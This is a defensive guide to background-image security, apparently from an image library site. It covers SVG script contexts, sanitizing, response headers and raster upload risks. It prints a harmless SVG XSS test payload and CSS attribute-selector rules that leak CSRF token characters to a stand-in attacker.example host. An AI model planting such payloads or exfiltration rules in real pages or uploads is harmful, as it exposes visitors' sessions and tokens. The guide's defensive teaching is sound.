Are SVG backgrounds safe? A security guide for background images

A CSS background cannot run code. The file behind it sometimes can. Here is where background images become a security risk and how to close each gap.

9 min read
Glass shield with a glowing swirl pattern and a steel padlock on a dark background
In short
  • An SVG used through <img> or a CSS background-image cannot run scripts or load external files.
  • The same file opened by URL, or embedded with <iframe>, <object> or <embed>, runs scripts on the origin that serves it.
  • User-uploaded backgrounds need sanitizing, strict response headers and, ideally, a separate domain.
  • Raster files carry their own risks: decompression bombs, location metadata and polyglot files. Re-encode them.
6Image contexts where SVG scripts are off
3Embed tags where SVG scripts do run
89MPixels: Pillow's default bomb limit

A background image looks like the most passive thing on a page. Most of the time it is. The exceptions come from two places: SVG, which is a document format that can carry code, and backgrounds that users upload themselves. This guide covers both, with the headers and snippets to lock them down. Background handling is one slice of a wider checklist, and this overview of essential web application security best practices covers authentication, dependencies and the rest of a release review.

If you only use backgrounds you made or downloaded from a trusted library and place them with CSS, you are already in the safe zone. The risk starts when the file comes from someone you do not control, or when it is served in a way the browser treats as a document instead of an image.

Can an SVG background run JavaScript?

No, not when the browser loads it as an image. In image contexts, browsers disable scripts and block external resources inside the SVG. MDN's page on SVG as an image lists the restrictions: JavaScript is disabled, external images and stylesheets are not loaded unless inlined as data: URLs, and :visited styles are not rendered.

The catch is that the restrictions belong to the context, not to the file. The same SVG behaves very differently depending on how it reaches the browser:

How the SVG is loadedScripts run?External files load?
CSS background-image, list-style-image, contentNoNo
<img src>NoNo
SVG <image>, <feImage>, canvas drawImage()NoNo
Opened directly by its URLYesYes
<iframe>, <object>, <embed>YesYes
Inline <svg> markup in the pageEvent handlers do, as in any HTMLYes

So a CSS background is safe by design. The danger is the file sitting on your server at a public URL. Anyone can link to it, and a visitor who clicks that link gets the SVG as a full document running under your domain.

What does a malicious SVG look like?

A malicious SVG usually looks like a normal pattern file with a few extra lines. SVG is XML, and the format allows scripts and event handlers. Here is a harmless test version of the classic payload:

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="300"
     onload="alert(document.domain)">
  <rect width="400" height="300" fill="#1b2a33"/>
  <script>console.log('script ran on', location.origin)</script>
</svg>

As a CSS background, this file draws a dark rectangle and nothing else. Opened by URL, it shows an alert with your domain. A real attack swaps the alert for code that reads session data, sends requests as the visitor or shows a fake login form.

When you review an SVG by hand, these are the parts to look for:

  • <script> elements, inline or with href
  • Event attributes such as onload, onclick, onmouseover, onbegin
  • javascript: URLs in href or xlink:href
  • <foreignObject>, which can hold arbitrary HTML
  • References to outside files in <use>, <image> or CSS url()
  • A <!DOCTYPE> with entity declarations, which can expand into an XML bomb

A pattern background needs none of these. A typical file from our guide to SVG pattern backgrounds is a handful of <path>, <rect> and <pattern> elements with fills and strokes. That makes the sanitizing rule simple: keep the drawing elements, drop everything else.

When does an uploaded background become a risk?

An uploaded background becomes a risk when your site stores it and serves it back as image/svg+xml from your main domain. Profile covers, page builders, theme editors and CMS media libraries all do this. The upload itself is harmless. The stored file is the problem, because every link to it is a link to a script on your origin.

Three conditions turn an upload into stored XSS:

  1. The site accepts SVG, or does not check what a file really is.
  2. The file is served with an SVG or HTML content type, or the browser is allowed to guess one.
  3. It is served from the same origin as logged-in pages, so the script can act with the visitor's session.

Break any one of them and the attack loses most of its power. Good setups break all three. The OWASP File Upload Cheat Sheet describes the same layers for uploads in general: validate the type, rename the file, store it outside the web root, and serve it with safe headers.

Do not rely on the file extension. A file named texture.jpg can contain SVG markup, and some servers pick the content type from the bytes or the name in ways you did not plan. Check the actual content, then set the type yourself.

How do you sanitize SVG backgrounds?

Sanitize SVG with an allowlist parser that rebuilds the file from known-safe elements and attributes. Blocklists of bad tags miss new tricks. Regex filters break on valid XML and let crafted payloads through.

Here is a workable pipeline for user-supplied SVG backgrounds:

  1. Parse safely. Disable DTDs and external entities in the XML parser. In Python, defusedxml does this by default.
  2. Keep an allowlist. Allow drawing elements (svg, g, path, rect, circle, ellipse, line, polyline, polygon, defs, pattern, gradients and stops) and presentation attributes. Drop everything else.
  3. Strip links. Remove href and xlink:href unless they point to an internal #id.
  4. Re-serialize. Write a fresh file from the parsed tree instead of saving the original bytes.
  5. Limit size. Reject files over a sensible ceiling. A pattern background rarely needs more than 50 KB.

In the browser, DOMPurify has an SVG profile that removes scripts, event handlers and foreignObject:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(rawSvg, {
  USE_PROFILES: { svg: true, svgFilters: true }
});

Client-side cleaning helps for live previews in an editor. It does not protect the stored file, because an attacker can skip your front end and upload directly. Run the same rules on the server before storage: enshrined/svg-sanitize is a common choice in PHP, and DOMPurify also runs in Node with jsdom.

If users only need a background and never edit the vector, there is a simpler option. Rasterize the SVG to WebP or PNG on the server and throw the original away. A bitmap cannot carry a script. You lose sharp scaling, so render at 2× the largest display size. Our notes on fast background images cover the size budget.

Which headers protect background files?

Four headers protect uploaded background files: a fixed Content-Type, X-Content-Type-Options: nosniff, a sandboxed Content-Security-Policy and, for strict setups, Content-Disposition: attachment. They are your second layer. Even if a bad file slips past the sanitizer, they stop the browser from treating it as a live document. Set them on the path that serves uploads:

Content-Type: image/svg+xml
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Disposition: inline; filename="background.svg"
Cache-Control: public, max-age=31536000, immutable

Here is what each line does:

  • X-Content-Type-Options: nosniff stops the browser from guessing a different type from the bytes.
  • The CSP on the file blocks scripts and outside requests if someone opens the SVG directly. sandbox also gives the document a unique opaque origin, so it cannot read your cookies or storage.
  • Content-Disposition: attachment is the strict option for files that never need to display in a tab. A direct visit downloads the file instead of rendering it. CSS backgrounds and <img> tags still work.

The strongest fix is architectural: serve user files from a separate, cookieless domain, the way large platforms use a dedicated user-content host. A script that runs there has no session to steal. Use a different registrable domain, not just media.yoursite.com, which can still receive cookies set for the parent domain.

Can CSS backgrounds leak data?

Yes. A background image is a network request, and an attacker who can inject CSS can make that request carry information. The classic technique pairs attribute selectors with background URLs:

input[name="csrf"][value^="a"] { background-image: url(https://attacker.example/a); }
input[name="csrf"][value^="b"] { background-image: url(https://attacker.example/b); }

Whichever rule matches fires a request and reveals the first character. Repeated rules leak the rest. No JavaScript is needed, which is why CSS injection gets past filters that only look for scripts.

Third-party background URLs leak quieter data too. Every visitor who loads a hotlinked background sends their IP address, user agent and, depending on referrer policy, the page address to the host. On a page with account details or health topics, that is a privacy problem even without an attacker.

Three controls cover this:

  1. Restrict image sources with CSP. CSS backgrounds are fetched under the img-src directive. A policy like img-src 'self' data: blocks requests to unknown hosts. Add data: only if you use inline SVG backgrounds.
  2. Never put user input into style rules. Theme editors that accept a custom background URL should validate it against an allowlist of your own asset hosts.
  3. Self-host backgrounds. Download the file and serve it from your domain instead of hotlinking. It is faster too. The CSS background-image guide shows the full syntax.

Are JPG and PNG backgrounds risk-free?

Raster backgrounds cannot run scripts, but they are not free of risk. Three issues matter for any site that accepts image uploads.

Decompression bombs

A small compressed file can declare enormous dimensions. A PNG of 50,000 × 50,000 pixels can be a few megabytes on disk and still need about 10 GB of memory to decode as RGBA. A server that opens it to make thumbnails runs out of memory. Pillow guards against this with Image.MAX_IMAGE_PIXELS: about 89.5 million pixels by default. It warns above that limit and raises an error above twice the limit. Keep the guard on and check dimensions before decoding.

Location and camera metadata

Photos taken on a phone often carry EXIF data with GPS coordinates. A user who uploads a photo of their desk as a profile background may publish where they live. Strip metadata on upload. Re-encoding through an image library does this as a side effect.

Polyglot files

A polyglot file is valid as two formats at once, for example a working JPEG that also contains HTML or a script. It matters when a server or browser guesses the type. nosniff, a fixed content type and re-encoding every upload into a fresh file close this gap.

The common fix for all three is the same: decode the upload with limits, re-encode it to WebP or AVIF at known dimensions, and store only the new file. The same pipeline usually cuts file size as well.

Background image security checklist

Use this list when you review a site, a theme editor or an upload feature:

  1. Place backgrounds through CSS or <img>, not <object>, <embed> or <iframe>.
  2. Self-host background files. No hotlinking from third-party hosts.
  3. Set img-src in your CSP to the hosts you actually use.
  4. Accept SVG uploads only if users need vectors. Otherwise allow raster formats only.
  5. Sanitize SVG on the server with an allowlist, then re-serialize.
  6. Check file content, not the extension. Set the content type yourself.
  7. Send nosniff and a sandboxed CSP on every uploaded file.
  8. Serve uploads from a separate cookieless domain where you can.
  9. Decode rasters with pixel limits, strip metadata and re-encode.
  10. Never insert user-supplied values into CSS rules or style attributes.

Ready-made files are the easy case. Every background in this library, such as the abstract geometric line pattern, ships as a plain JPG with no embedded code. If you generate textures with a model instead, our AI background workflow ends in the same re-encode step.

Questions about background image security

Is it safe to use SVG as a CSS background?

Yes, when the SVG comes from a trusted source. Browsers disable scripts and block external files inside SVGs loaded as CSS backgrounds or through img tags. The risk is the file itself being opened directly by its URL, so sanitize any SVG you did not create.

Can an SVG file contain a virus?

An SVG can contain JavaScript, event handlers and links. It runs when the file is opened as a document, for example directly in a browser tab or inside an iframe, object or embed tag. In that case it can act like a malicious web page on the domain that serves it.

Should I allow SVG uploads on my site?

Only if users really need vector files. If you allow them, sanitize on the server with an allowlist, serve them with nosniff and a sandboxed Content-Security-Policy, and use a separate cookieless domain where possible. If users only need a background, convert uploads to WebP or PNG.

Does Content-Security-Policy protect against SVG XSS?

A CSP on the page does not protect an SVG opened directly, because that file is its own document. Send a strict CSP with the sandbox directive on the SVG response itself. The page CSP still matters for img-src, which limits where CSS backgrounds can load from.

Are data URI backgrounds safe?

An SVG inside a data URI used in CSS is still loaded in image mode, so scripts do not run. To use data URI backgrounds with a CSP, add data: to img-src. Do not build data URIs from user input without sanitizing the SVG first.

Keep reading

Built for the web.
Free to download.